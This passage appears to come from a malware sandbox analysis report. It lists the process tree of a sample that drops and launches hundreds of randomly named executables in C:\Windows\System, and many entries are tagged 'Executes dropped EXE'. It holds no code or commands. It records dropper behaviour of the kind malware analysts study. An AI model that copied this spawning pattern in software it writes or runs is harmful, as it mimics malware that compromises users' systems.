- C:\Windows\System\dAFouqe.exe
  C:\Windows\System\dAFouqe.exe
  2⤵
  - Executes dropped EXE
  PID:3732
- C:\Windows\System\THonokV.exe
  C:\Windows\System\THonokV.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Windows\System\ZbTfSiT.exe
  C:\Windows\System\ZbTfSiT.exe
  2⤵
  - Executes dropped EXE
  PID:3200
- C:\Windows\System\iosixlo.exe
  C:\Windows\System\iosixlo.exe
  2⤵
  - Executes dropped EXE
  PID:692
- C:\Windows\System\WrBZlul.exe
  C:\Windows\System\WrBZlul.exe
  2⤵
  - Executes dropped EXE
  PID:4788
- C:\Windows\System\shkSKoO.exe
  C:\Windows\System\shkSKoO.exe
  2⤵
  - Executes dropped EXE
  PID:2284
- C:\Windows\System\UkERXkH.exe
  C:\Windows\System\UkERXkH.exe
  2⤵
  - Executes dropped EXE
  PID:3780
- C:\Windows\System\QYVhzof.exe
  C:\Windows\System\QYVhzof.exe
  2⤵
  - Executes dropped EXE
  PID:4724
- C:\Windows\System\HTLmliw.exe
  C:\Windows\System\HTLmliw.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Windows\System\ZtQfpuN.exe
  C:\Windows\System\ZtQfpuN.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\vCTOmao.exe
  C:\Windows\System\vCTOmao.exe
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\System\cKUrivD.exe
  C:\Windows\System\cKUrivD.exe
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Windows\System\vGhISEk.exe
  C:\Windows\System\vGhISEk.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\xcjEeCh.exe
  C:\Windows\System\xcjEeCh.exe
  2⤵
  - Executes dropped EXE
  PID:760
- C:\Windows\System\riFhQLj.exe
  C:\Windows\System\riFhQLj.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\UfasBqL.exe
  C:\Windows\System\UfasBqL.exe
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Windows\System\axSBgIy.exe
  C:\Windows\System\axSBgIy.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\kLkftEq.exe
  C:\Windows\System\kLkftEq.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\System\pZdxvyx.exe
  C:\Windows\System\pZdxvyx.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\SJyTzWq.exe
  C:\Windows\System\SJyTzWq.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\System\zYYUlFG.exe
  C:\Windows\System\zYYUlFG.exe
  2⤵
  - Executes dropped EXE
  PID:1376
- C:\Windows\System\qxxJRLG.exe
  C:\Windows\System\qxxJRLG.exe
  2⤵
  - Executes dropped EXE
  PID:3704
- C:\Windows\System\dwDQskt.exe
  C:\Windows\System\dwDQskt.exe
  2⤵
  - Executes dropped EXE
  PID:5088
- C:\Windows\System\adubfJC.exe
  C:\Windows\System\adubfJC.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\kUJzYrO.exe
  C:\Windows\System\kUJzYrO.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\VsKhuQY.exe
  C:\Windows\System\VsKhuQY.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\qupAUkc.exe
  C:\Windows\System\qupAUkc.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\rDRnfWN.exe
  C:\Windows\System\rDRnfWN.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\GFYvTEX.exe
  C:\Windows\System\GFYvTEX.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\fDwIRTt.exe
  C:\Windows\System\fDwIRTt.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\PSFikyg.exe
  C:\Windows\System\PSFikyg.exe
  2⤵
  - Executes dropped EXE
  PID:3680
- C:\Windows\System\yxqjKMh.exe
  C:\Windows\System\yxqjKMh.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Windows\System\LtdchpD.exe
  C:\Windows\System\LtdchpD.exe
  2⤵
  - Executes dropped EXE
  PID:856
- C:\Windows\System\jANGQFw.exe
  C:\Windows\System\jANGQFw.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\iOVCtNs.exe
  C:\Windows\System\iOVCtNs.exe
  2⤵
  - Executes dropped EXE
  PID:908
- C:\Windows\System\qDkUdFc.exe
  C:\Windows\System\qDkUdFc.exe
  2⤵
  - Executes dropped EXE
  PID:3608
- C:\Windows\System\rnPHNBp.exe
  C:\Windows\System\rnPHNBp.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\eWfQxUq.exe
  C:\Windows\System\eWfQxUq.exe
  2⤵
  - Executes dropped EXE
  PID:4268
- C:\Windows\System\ptUXqev.exe
  C:\Windows\System\ptUXqev.exe
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Windows\System\KvrrBRT.exe
  C:\Windows\System\KvrrBRT.exe
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Windows\System\rNkWzwX.exe
  C:\Windows\System\rNkWzwX.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\VaCIRKA.exe
  C:\Windows\System\VaCIRKA.exe
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Windows\System\zrtXdib.exe
  C:\Windows\System\zrtXdib.exe
  2⤵
  - Executes dropped EXE
  PID:4328
- C:\Windows\System\qrfsKEU.exe
  C:\Windows\System\qrfsKEU.exe
  2⤵
  PID:4612
- C:\Windows\System\UzwDnpY.exe
  C:\Windows\System\UzwDnpY.exe
  2⤵
  PID:2192
- C:\Windows\System\IjuCIGE.exe
  C:\Windows\System\IjuCIGE.exe
  2⤵
  PID:4560
- C:\Windows\System\NjPQAKf.exe
  C:\Windows\System\NjPQAKf.exe
  2⤵
  PID:4304
- C:\Windows\System\SHjRKgh.exe
  C:\Windows\System\SHjRKgh.exe
  2⤵
  PID:4596
- C:\Windows\System\DWxnwMc.exe
  C:\Windows\System\DWxnwMc.exe
  2⤵
  PID:4472
- C:\Windows\System\SlRwIXp.exe
  C:\Windows\System\SlRwIXp.exe
  2⤵
  PID:3452
- C:\Windows\System\BreRifw.exe
  C:\Windows\System\BreRifw.exe
  2⤵
  PID:4324
- C:\Windows\System\nQPrvAh.exe
  C:\Windows\System\nQPrvAh.exe
  2⤵
  PID:4528
- C:\Windows\System\IyhqlSO.exe
  C:\Windows\System\IyhqlSO.exe
  2⤵
  PID:3044
- C:\Windows\System\mthCaaf.exe
  C:\Windows\System\mthCaaf.exe
  2⤵
  PID:5032
- C:\Windows\System\DVZHBxH.exe
  C:\Windows\System\DVZHBxH.exe
  2⤵
  PID:4164
- C:\Windows\System\xWdmsUW.exe
  C:\Windows\System\xWdmsUW.exe
  2⤵
  PID:956
- C:\Windows\System\kNEbXZr.exe
  C:\Windows\System\kNEbXZr.exe
  2⤵
  PID:1572
- C:\Windows\System\GwNXgba.exe
  C:\Windows\System\GwNXgba.exe
  2⤵
  PID:4548
- C:\Windows\System\sYphbtJ.exe
  C:\Windows\System\sYphbtJ.exe
  2⤵
  PID:4424
- C:\Windows\System\CufvZBM.exe
  C:\Windows\System\CufvZBM.exe
  2⤵
  PID:3120
- C:\Windows\System\FQIwYGB.exe
  C:\Windows\System\FQIwYGB.exe
  2⤵
  PID:3508
- C:\Windows\System\RQNgQnn.exe
  C:\Windows\System\RQNgQnn.exe
  2⤵
  PID:4336
- C:\Windows\System\LKGFHXr.exe
  C:\Windows\System\LKGFHXr.exe
  2⤵
  PID:2540
- C:\Windows\System\BAwgmak.exe
  C:\Windows\System\BAwgmak.exe
  2⤵
  PID:4932
- C:\Windows\System\VPnyfbH.exe
  C:\Windows\System\VPnyfbH.exe
  2⤵
  PID:2176
- C:\Windows\System\CqFNhMV.exe
  C:\Windows\System\CqFNhMV.exe
  2⤵
  PID:4372
- C:\Windows\System\UuAIzxM.exe
  C:\Windows\System\UuAIzxM.exe
  2⤵
  PID:5060
- C:\Windows\System\rZSUxJs.exe
  C:\Windows\System\rZSUxJs.exe
  2⤵
  PID:4452
- C:\Windows\System\ZPxUKQo.exe
  C:\Windows\System\ZPxUKQo.exe
  2⤵
  PID:2820
- C:\Windows\System\udnnwiH.exe
  C:\Windows\System\udnnwiH.exe
  2⤵
  PID:1208
- C:\Windows\System\LAXaPtS.exe
  C:\Windows\System\LAXaPtS.exe
  2⤵
  PID:2660
- C:\Windows\System\LyAclaw.exe
  C:\Windows\System\LyAclaw.exe
  2⤵
  PID:2512
- C:\Windows\System\UmnveWy.exe
  C:\Windows\System\UmnveWy.exe
  2⤵
  PID:3440
- C:\Windows\System\XkIeyzr.exe
  C:\Windows\System\XkIeyzr.exe
  2⤵
  PID:3656
- C:\Windows\System\OESSzOy.exe
  C:\Windows\System\OESSzOy.exe
  2⤵
  PID:2840
- C:\Windows\System\TJBsXGW.exe
  C:\Windows\System\TJBsXGW.exe
  2⤵
  PID:2452
- C:\Windows\System\SZbbQrR.exe
  C:\Windows\System\SZbbQrR.exe
  2⤵
  PID:3256
- C:\Windows\System\suVgWRQ.exe
  C:\Windows\System\suVgWRQ.exe
  2⤵
  PID:1232
- C:\Windows\System\VoXPdpk.exe
  C:\Windows\System\VoXPdpk.exe
  2⤵
  PID:4712
- C:\Windows\System\YXQGifS.exe
  C:\Windows\System\YXQGifS.exe
  2⤵
  PID:3176
- C:\Windows\System\XszJppz.exe
  C:\Windows\System\XszJppz.exe
  2⤵
  PID:1952
- C:\Windows\System\RmAdrlw.exe
  C:\Windows\System\RmAdrlw.exe
  2⤵
  PID:1296
- C:\Windows\System\tEiNGoJ.exe
  C:\Windows\System\tEiNGoJ.exe
  2⤵
  PID:4536
- C:\Windows\System\RSjtdPr.exe
  C:\Windows\System\RSjtdPr.exe
  2⤵
  PID:1048
- C:\Windows\System\ndpultW.exe
  C:\Windows\System\ndpultW.exe
  2⤵
  PID:428
- C:\Windows\System\tiluKpH.exe
  C:\Windows\System\tiluKpH.exe
  2⤵
  PID:464
- C:\Windows\System\LxZhtqZ.exe
  C:\Windows\System\LxZhtqZ.exe
  2⤵
  PID:5092
- C:\Windows\System\BjVtMIW.exe
  C:\Windows\System\BjVtMIW.exe
  2⤵
  PID:1284
- C:\Windows\System\rDUollC.exe
  C:\Windows\System\rDUollC.exe
  2⤵
  PID:1316
- C:\Windows\System\Iqsfmlz.exe
  C:\Windows\System\Iqsfmlz.exe
  2⤵
  PID:4460
- C:\Windows\System\bTzbLZn.exe
  C:\Windows\System\bTzbLZn.exe
  2⤵
  PID:1224
- C:\Windows\System\WoadWPa.exe
  C:\Windows\System\WoadWPa.exe
  2⤵
  PID:4856
- C:\Windows\System\jqUHOYl.exe
  C:\Windows\System\jqUHOYl.exe
  2⤵
  PID:2616
- C:\Windows\System\OhyvUKv.exe
  C:\Windows\System\OhyvUKv.exe
  2⤵
  PID:2032
- C:\Windows\System\jclSyIu.exe
  C:\Windows\System\jclSyIu.exe
  2⤵
  PID:3688
- C:\Windows\System\fCwibuY.exe
  C:\Windows\System\fCwibuY.exe
  2⤵
  PID:3512
- C:\Windows\System\TEeFwHD.exe
  C:\Windows\System\TEeFwHD.exe
  2⤵
  PID:1708
- C:\Windows\System\tZeaUFN.exe
  C:\Windows\System\tZeaUFN.exe
  2⤵
  PID:4116
- C:\Windows\System\IPpPteo.exe
  C:\Windows\System\IPpPteo.exe
  2⤵
  PID:4244
- C:\Windows\System\pOiDGBF.exe
  C:\Windows\System\pOiDGBF.exe
  2⤵
  PID:3804
- C:\Windows\System\brPTvMy.exe
  C:\Windows\System\brPTvMy.exe
  2⤵
  PID:4936
- C:\Windows\System\IuefsWc.exe
  C:\Windows\System\IuefsWc.exe
  2⤵
  PID:2516
- C:\Windows\System\IAauPSy.exe
  C:\Windows\System\IAauPSy.exe
  2⤵
  PID:2068
- C:\Windows\System\TLQHrnT.exe
  C:\Windows\System\TLQHrnT.exe
  2⤵
  PID:1636
- C:\Windows\System\rKIMwga.exe
  C:\Windows\System\rKIMwga.exe
  2⤵
  PID:4984
- C:\Windows\System\LqkuggJ.exe
  C:\Windows\System\LqkuggJ.exe
  2⤵
  PID:5084
- C:\Windows\System\xYwOkHC.exe
  C:\Windows\System\xYwOkHC.exe
  2⤵
  PID:3492
- C:\Windows\System\vsOYStu.exe
  C:\Windows\System\vsOYStu.exe
  2⤵
  PID:4704
- C:\Windows\System\lYQfJix.exe
  C:\Windows\System\lYQfJix.exe
  2⤵
  PID:4196
- C:\Windows\System\BTmbnwT.exe
  C:\Windows\System\BTmbnwT.exe
  2⤵
  PID:2648
- C:\Windows\System\gmnBYVr.exe
  C:\Windows\System\gmnBYVr.exe
  2⤵
  PID:4952
- C:\Windows\System\pKhikta.exe
  C:\Windows\System\pKhikta.exe
  2⤵
  PID:3284
- C:\Windows\System\xmvvUfc.exe
  C:\Windows\System\xmvvUfc.exe
  2⤵
  PID:960
- C:\Windows\System\mHFciXT.exe
  C:\Windows\System\mHFciXT.exe
  2⤵
  PID:4564
- C:\Windows\System\voeKExL.exe
  C:\Windows\System\voeKExL.exe
  2⤵
  PID:4524
- C:\Windows\System\GYUnJZM.exe
  C:\Windows\System\GYUnJZM.exe
  2⤵
  PID:2596
- C:\Windows\System\kWnDCby.exe
  C:\Windows\System\kWnDCby.exe
  2⤵
  PID:3088
- C:\Windows\System\xHytUFG.exe
  C:\Windows\System\xHytUFG.exe
  2⤵
  PID:2248
- C:\Windows\System\csyhCmL.exe
  C:\Windows\System\csyhCmL.exe
  2⤵
  PID:4900
- C:\Windows\System\mCytASp.exe
  C:\Windows\System\mCytASp.exe
  2⤵
  PID:4348
- C:\Windows\System\WbPlluM.exe
  C:\Windows\System\WbPlluM.exe
  2⤵
  PID:5128
- C:\Windows\System\SfIoPRf.exe
  C:\Windows\System\SfIoPRf.exe
  2⤵
  PID:5144
- C:\Windows\System\NggeDaa.exe
  C:\Windows\System\NggeDaa.exe
  2⤵
  PID:5160
- C:\Windows\System\KUmsSAM.exe
  C:\Windows\System\KUmsSAM.exe
  2⤵
  PID:5176
- C:\Windows\System\xmzYSiq.exe
  C:\Windows\System\xmzYSiq.exe
  2⤵
  PID:5192
- C:\Windows\System\GsmsRRc.exe
  C:\Windows\System\GsmsRRc.exe
  2⤵
  PID:5208
- C:\Windows\System\gQgVjHw.exe
  C:\Windows\System\gQgVjHw.exe
  2⤵
  PID:5224
- C:\Windows\System\aVDhztI.exe
  C:\Windows\System\aVDhztI.exe
  2⤵
  PID:5240
- C:\Windows\System\mohfFri.exe
  C:\Windows\System\mohfFri.exe
  2⤵
  PID:5256
- C:\Windows\System\vuanyAP.exe
  C:\Windows\System\vuanyAP.exe
  2⤵
  PID:5272
- C:\Windows\System\UhjVKkc.exe
  C:\Windows\System\UhjVKkc.exe
  2⤵
  PID:5288
- C:\Windows\System\SHQVOFd.exe
  C:\Windows\System\SHQVOFd.exe
  2⤵
  PID:5304
- C:\Windows\System\sfqKJtD.exe
  C:\Windows\System\sfqKJtD.exe
  2⤵
  PID:5320
- C:\Windows\System\ABwEkMv.exe
  C:\Windows\System\ABwEkMv.exe
  2⤵
  PID:5336
- C:\Windows\System\MeRqkZl.exe
  C:\Windows\System\MeRqkZl.exe
  2⤵
  PID:5352
- C:\Windows\System\uYngWPU.exe
  C:\Windows\System\uYngWPU.exe
  2⤵
  PID:5368
- C:\Windows\System\bCSbiuO.exe
  C:\Windows\System\bCSbiuO.exe
  2⤵
  PID:5384
- C:\Windows\System\ydfjOnL.exe
  C:\Windows\System\ydfjOnL.exe
  2⤵
  PID:5400
- C:\Windows\System\NhSkzZW.exe
  C:\Windows\System\NhSkzZW.exe
  2⤵
  PID:5416
- C:\Windows\System\NyqYBFy.exe
  C:\Windows\System\NyqYBFy.exe
  2⤵
  PID:5432
- C:\Windows\System\GAvvBiN.exe
  C:\Windows\System\GAvvBiN.exe
  2⤵
  PID:5448
- C:\Windows\System\bIJVgVm.exe
  C:\Windows\System\bIJVgVm.exe
  2⤵
  PID:5464
- C:\Windows\System\mLtgfXX.exe
  C:\Windows\System\mLtgfXX.exe
  2⤵
  PID:5480
- C:\Windows\System\nCaRYxQ.exe
  C:\Windows\System\nCaRYxQ.exe
  2⤵
  PID:5496
- C:\Windows\System\KcakzVC.exe
  C:\Windows\System\KcakzVC.exe
  2⤵
  PID:5512
- C:\Windows\System\ZjjWxqD.exe
  C:\Windows\System\ZjjWxqD.exe
  2⤵
  PID:5528
- C:\Windows\System\srpVwFz.exe
  C:\Windows\System\srpVwFz.exe
  2⤵
  PID:5544
- C:\Windows\System\SEUOzAS.exe
  C:\Windows\System\SEUOzAS.exe
  2⤵
  PID:5560
- C:\Windows\System\riLRwDo.exe
  C:\Windows\System\riLRwDo.exe
  2⤵
  PID:5576
- C:\Windows\System\snjnNFL.exe
  C:\Windows\System\snjnNFL.exe
  2⤵
  PID:5592
- C:\Windows\System\DbqkDbq.exe
  C:\Windows\System\DbqkDbq.exe
  2⤵
  PID:5608
- C:\Windows\System\QRBcIpZ.exe
  C:\Windows\System\QRBcIpZ.exe
  2⤵
  PID:5624
- C:\Windows\System\hgOTvGv.exe
  C:\Windows\System\hgOTvGv.exe
  2⤵
  PID:5640
- C:\Windows\System\BuFjTNa.exe
  C:\Windows\System\BuFjTNa.exe
  2⤵
  PID:5656
- C:\Windows\System\VDaScSR.exe
  C:\Windows\System\VDaScSR.exe
  2⤵
  PID:5672
- C:\Windows\System\HqfZlEJ.exe
  C:\Windows\System\HqfZlEJ.exe
  2⤵
  PID:5688
- C:\Windows\System\lSyMLeG.exe
  C:\Windows\System\lSyMLeG.exe
  2⤵
  PID:5704
- C:\Windows\System\FHJfQjQ.exe
  C:\Windows\System\FHJfQjQ.exe
  2⤵
  PID:5720
- C:\Windows\System\lyMqnFN.exe
  C:\Windows\System\lyMqnFN.exe
  2⤵
  PID:5736
- C:\Windows\System\fKUBRuJ.exe
  C:\Windows\System\fKUBRuJ.exe
  2⤵
  PID:5752
- C:\Windows\System\eGppgRE.exe
  C:\Windows\System\eGppgRE.exe
  2⤵
  PID:5768
- C:\Windows\System\BYyYdcL.exe
  C:\Windows\System\BYyYdcL.exe
  2⤵
  PID:5784
- C:\Windows\System\poCMbEH.exe
  C:\Windows\System\poCMbEH.exe
  2⤵
  PID:5800
- C:\Windows\System\jromDQj.exe
  C:\Windows\System\jromDQj.exe
  2⤵
  PID:5816
- C:\Windows\System\WidFbVi.exe
  C:\Windows\System\WidFbVi.exe
  2⤵
  PID:5832
- C:\Windows\System\GSvvBli.exe
  C:\Windows\System\GSvvBli.exe
  2⤵
  PID:5848
- C:\Windows\System\QFcTXtf.exe
  C:\Windows\System\QFcTXtf.exe
  2⤵
  PID:5864
- C:\Windows\System\knKrruO.exe
  C:\Windows\System\knKrruO.exe
  2⤵
  PID:5880
- C:\Windows\System\tFXFQEm.exe
  C:\Windows\System\tFXFQEm.exe
  2⤵
  PID:5896
- C:\Windows\System\zrsTGDP.exe
  C:\Windows\System\zrsTGDP.exe
  2⤵
  PID:5912
- C:\Windows\System\gJtVgys.exe
  C:\Windows\System\gJtVgys.exe
  2⤵
  PID:5928
- C:\Windows\System\meNjpKA.exe
  C:\Windows\System\meNjpKA.exe
  2⤵
  PID:5944
- C:\Windows\System\PkOLlMZ.exe
  C:\Windows\System\PkOLlMZ.exe
  2⤵
  PID:5960
- C:\Windows\System\yycYIkd.exe
  C:\Windows\System\yycYIkd.exe
  2⤵
  PID:5976
- C:\Windows\System\uSWZvNE.exe
  C:\Windows\System\uSWZvNE.exe
  2⤵
  PID:5992
- C:\Windows\System\xpcwzEi.exe
  C:\Windows\System\xpcwzEi.exe
  2⤵
  PID:6008
- C:\Windows\System\NfwOTMO.exe
  C:\Windows\System\NfwOTMO.exe
  2⤵
  PID:6024
- C:\Windows\System\ZeHaIwC.exe
  C:\Windows\System\ZeHaIwC.exe
  2⤵
  PID:6040
- C:\Windows\System\NJgXNUB.exe
  C:\Windows\System\NJgXNUB.exe
  2⤵
  PID:6056
- C:\Windows\System\qysJDpH.exe
  C:\Windows\System\qysJDpH.exe
  2⤵
  PID:6072
- C:\Windows\System\BXmIWSm.exe
  C:\Windows\System\BXmIWSm.exe
  2⤵
  PID:6088
- C:\Windows\System\sfwtBOL.exe
  C:\Windows\System\sfwtBOL.exe
  2⤵
  PID:6104
- C:\Windows\System\bBDisDo.exe
  C:\Windows\System\bBDisDo.exe
  2⤵
  PID:6120
- C:\Windows\System\nlxYrZQ.exe
  C:\Windows\System\nlxYrZQ.exe
  2⤵
  PID:6136
- C:\Windows\System\XOgiWfR.exe
  C:\Windows\System\XOgiWfR.exe
  2⤵
  PID:3104
- C:\Windows\System\oIPDqvF.exe
  C:\Windows\System\oIPDqvF.exe
  2⤵
  PID:4408
- C:\Windows\System\PczEhdB.exe
  C:\Windows\System\PczEhdB.exe
  2⤵
  PID:1960
- C:\Windows\System\RTcEcmZ.exe
  C:\Windows\System\RTcEcmZ.exe
  2⤵
  PID:3484
- C:\Windows\System\wdMZWLn.exe
  C:\Windows\System\wdMZWLn.exe
  2⤵
  PID:1524
- C:\Windows\System\DkgsxJV.exe
  C:\Windows\System\DkgsxJV.exe
  2⤵
  PID:1044
- C:\Windows\System\nblsqnB.exe
  C:\Windows\System\nblsqnB.exe
  2⤵
  PID:4032
- C:\Windows\System\TZDarpX.exe
  C:\Windows\System\TZDarpX.exe
  2⤵
  PID:3752
- C:\Windows\System\WmyOnzi.exe
  C:\Windows\System\WmyOnzi.exe
  2⤵
  PID:912
- C:\Windows\System\qIuarLK.exe
  C:\Windows\System\qIuarLK.exe
  2⤵
  PID:4080
- C:\Windows\System\srbDYqn.exe
  C:\Windows\System\srbDYqn.exe
  2⤵
  PID:636
- C:\Windows\System\KTtRzgY.exe
  C:\Windows\System\KTtRzgY.exe
  2⤵
  PID:5124
- C:\Windows\System\UqAOzrA.exe
  C:\Windows\System\UqAOzrA.exe
  2⤵
  PID:5156
- C:\Windows\System\mlpHWpm.exe
  C:\Windows\System\mlpHWpm.exe
  2⤵
  PID:5188
- C:\Windows\System\bZSUgUW.exe
  C:\Windows\System\bZSUgUW.exe
  2⤵
  PID:5220
- C:\Windows\System\FdsEFkf.exe
  C:\Windows\System\FdsEFkf.exe
  2⤵
  PID:5252
- C:\Windows\System\dQdZTCi.exe
  C:\Windows\System\dQdZTCi.exe
  2⤵
  PID:5284
- C:\Windows\System\bHxXzbA.exe
  C:\Windows\System\bHxXzbA.exe
  2⤵
  PID:5312
- C:\Windows\System\cSQuFJa.exe
  C:\Windows\System\cSQuFJa.exe
  2⤵
  PID:5344
- C:\Windows\System\ZFqWOEv.exe
  C:\Windows\System\ZFqWOEv.exe
  2⤵
  PID:5376
- C:\Windows\System\ZCPfUcY.exe
  C:\Windows\System\ZCPfUcY.exe
  2⤵
  PID:5408
- C:\Windows\System\KRRTwgI.exe
  C:\Windows\System\KRRTwgI.exe
  2⤵
  PID:5440
- C:\Windows\System\tAhbkYb.exe
  C:\Windows\System\tAhbkYb.exe
  2⤵
  PID:5472
- C:\Windows\System\fBeFRAa.exe
  C:\Windows\System\fBeFRAa.exe
  2⤵
  PID:3576
- C:\Windows\System\HSIeppi.exe
  C:\Windows\System\HSIeppi.exe
  2⤵
  PID:5524
- C:\Windows\System\SNmhTKf.exe
  C:\Windows\System\SNmhTKf.exe
  2⤵
  PID:5556
- C:\Windows\System\kSZesGZ.exe
  C:\Windows\System\kSZesGZ.exe
  2⤵
  PID:5588
- C:\Windows\System\BJApZom.exe
  C:\Windows\System\BJApZom.exe
  2⤵
  PID:5616
- C:\Windows\System\MeHIpHl.exe
  C:\Windows\System\MeHIpHl.exe
  2⤵
  PID:5648
- C:\Windows\System\QEiuXLW.exe
  C:\Windows\System\QEiuXLW.exe
  2⤵
  PID:5680
- C:\Windows\System\xfxGlTA.exe
  C:\Windows\System\xfxGlTA.exe
  2⤵
  PID:5712
- C:\Windows\System\TqOcVDe.exe
  C:\Windows\System\TqOcVDe.exe
  2⤵
  PID:5744
- C:\Windows\System\FazdECt.exe
  C:\Windows\System\FazdECt.exe
  2⤵
  PID:5776
- C:\Windows\System\MQdFwxf.exe
  C:\Windows\System\MQdFwxf.exe
  2⤵
  PID:5796
- C:\Windows\System\HTPKPOy.exe
  C:\Windows\System\HTPKPOy.exe
  2⤵
  PID:2024
- C:\Windows\System\vGbsVgs.exe
  C:\Windows\System\vGbsVgs.exe
  2⤵
  PID:5856
- C:\Windows\System\HmJxmaC.exe
  C:\Windows\System\HmJxmaC.exe
  2⤵
  PID:5888
- C:\Windows\System\YkCcPiI.exe
  C:\Windows\System\YkCcPiI.exe
  2⤵
  PID:5920
- C:\Windows\System\yznIQHR.exe
  C:\Windows\System\yznIQHR.exe
  2⤵
  PID:5952
- C:\Windows\System\gydFFzS.exe
  C:\Windows\System\gydFFzS.exe
  2⤵
  PID:5984
- C:\Windows\System\TtbMkfH.exe
  C:\Windows\System\TtbMkfH.exe
  2⤵
  PID:6016
- C:\Windows\System\XkptPMX.exe
  C:\Windows\System\XkptPMX.exe
  2⤵
  PID:6048
- C:\Windows\System\HwVPUlK.exe
  C:\Windows\System\HwVPUlK.exe
  2⤵
  PID:3772
- C:\Windows\System\XiQfYPu.exe
  C:\Windows\System\XiQfYPu.exe
  2⤵
  PID:6100
- C:\Windows\System\VtXaZAp.exe
  C:\Windows\System\VtXaZAp.exe
  2⤵
  PID:6128
- C:\Windows\System\kJtLQrv.exe
  C:\Windows\System\kJtLQrv.exe
  2⤵
  PID:1584
- C:\Windows\System\aHwScRk.exe
  C:\Windows\System\aHwScRk.exe
  2⤵
  PID:1456
- C:\Windows\System\ZWtAxGl.exe
  C:\Windows\System\ZWtAxGl.exe
  2⤵
  PID:2040
- C:\Windows\System\lyNRFkL.exe
  C:\Windows\System\lyNRFkL.exe
  2⤵
  PID:4584
- C:\Windows\System\WugmVoy.exe
  C:\Windows\System\WugmVoy.exe
  2⤵
  PID:2408
- C:\Windows\System\nGLVDjR.exe
  C:\Windows\System\nGLVDjR.exe
  2⤵
  PID:4340
- C:\Windows\System\nFqRouI.exe
  C:\Windows\System\nFqRouI.exe
  2⤵
  PID:5152
- C:\Windows\System\RVNTOQo.exe
  C:\Windows\System\RVNTOQo.exe
  2⤵
  PID:5216
- C:\Windows\System\XFfOjNe.exe
  C:\Windows\System\XFfOjNe.exe
  2⤵
  PID:5280
- C:\Windows\System\SvEAywj.exe
  C:\Windows\System\SvEAywj.exe
  2⤵
  PID:5332
- C:\Windows\System\VQIqptU.exe
  C:\Windows\System\VQIqptU.exe
  2⤵
  PID:5396
- C:\Windows\System\wVoHzGM.exe
  C:\Windows\System\wVoHzGM.exe
  2⤵
  PID:5456
- C:\Windows\System\BfZjSgX.exe
  C:\Windows\System\BfZjSgX.exe
  2⤵
  PID:5508
- C:\Windows\System\yxGEoVD.exe
  C:\Windows\System\yxGEoVD.exe
  2⤵
  PID:5572
- C:\Windows\System\gdXiZZI.exe
  C:\Windows\System\gdXiZZI.exe
  2⤵
  PID:5632
- C:\Windows\System\VDaSkOl.exe
  C:\Windows\System\VDaSkOl.exe
  2⤵
  PID:5696
- C:\Windows\System\XQvmsdQ.exe
  C:\Windows\System\XQvmsdQ.exe
  2⤵
  PID:5760
- C:\Windows\System\IwOxOzn.exe
  C:\Windows\System\IwOxOzn.exe
  2⤵
  PID:5812
- C:\Windows\System\IoMoruZ.exe
  C:\Windows\System\IoMoruZ.exe
  2⤵
  PID:5872
- C:\Windows\System\iPlxEbU.exe
  C:\Windows\System\iPlxEbU.exe
  2⤵
  PID:5908
- C:\Windows\System\omsRZxt.exe
  C:\Windows\System\omsRZxt.exe
  2⤵
  PID:5972
- C:\Windows\System\lLJOSNA.exe
  C:\Windows\System\lLJOSNA.exe
  2⤵
  PID:6036
- C:\Windows\System\dQKeNlf.exe
  C:\Windows\System\dQKeNlf.exe
  2⤵
  PID:6096
- C:\Windows\System\cLZDUVn.exe
  C:\Windows\System\cLZDUVn.exe
  2⤵
  PID:3988
- C:\Windows\System\gHjpODV.exe
  C:\Windows\System\gHjpODV.exe
  2⤵
  PID:2836
- C:\Windows\System\lctpGCo.exe
  C:\Windows\System\lctpGCo.exe
  2⤵
  PID:4496
- C:\Windows\System\QlZhkba.exe
  C:\Windows\System\QlZhkba.exe
  2⤵
  PID:5140
- C:\Windows\System\sKdoZaz.exe
  C:\Windows\System\sKdoZaz.exe
  2⤵
  PID:5204
- C:\Windows\System\bjEhMWi.exe
  C:\Windows\System\bjEhMWi.exe
  2⤵
  PID:5328
- C:\Windows\System\PKQablF.exe
  C:\Windows\System\PKQablF.exe
  2⤵
  PID:5428
- C:\Windows\System\BQZcdPw.exe
  C:\Windows\System\BQZcdPw.exe
  2⤵
  PID:5552
- C:\Windows\System\vcDKimp.exe
  C:\Windows\System\vcDKimp.exe
  2⤵
  PID:5668
- C:\Windows\System\gUwxSXJ.exe
  C:\Windows\System\gUwxSXJ.exe
  2⤵
  PID:6160
- C:\Windows\System\pKGVtHI.exe
  C:\Windows\System\pKGVtHI.exe
  2⤵
  PID:6176
- C:\Windows\System\sSKeWsZ.exe
  C:\Windows\System\sSKeWsZ.exe
  2⤵
  PID:6192
- C:\Windows\System\cbSaItA.exe
  C:\Windows\System\cbSaItA.exe
  2⤵
  PID:6208
- C:\Windows\System\TKSRcDh.exe
  C:\Windows\System\TKSRcDh.exe
  2⤵
  PID:6224
- C:\Windows\System\jmSMtKM.exe
  C:\Windows\System\jmSMtKM.exe
  2⤵
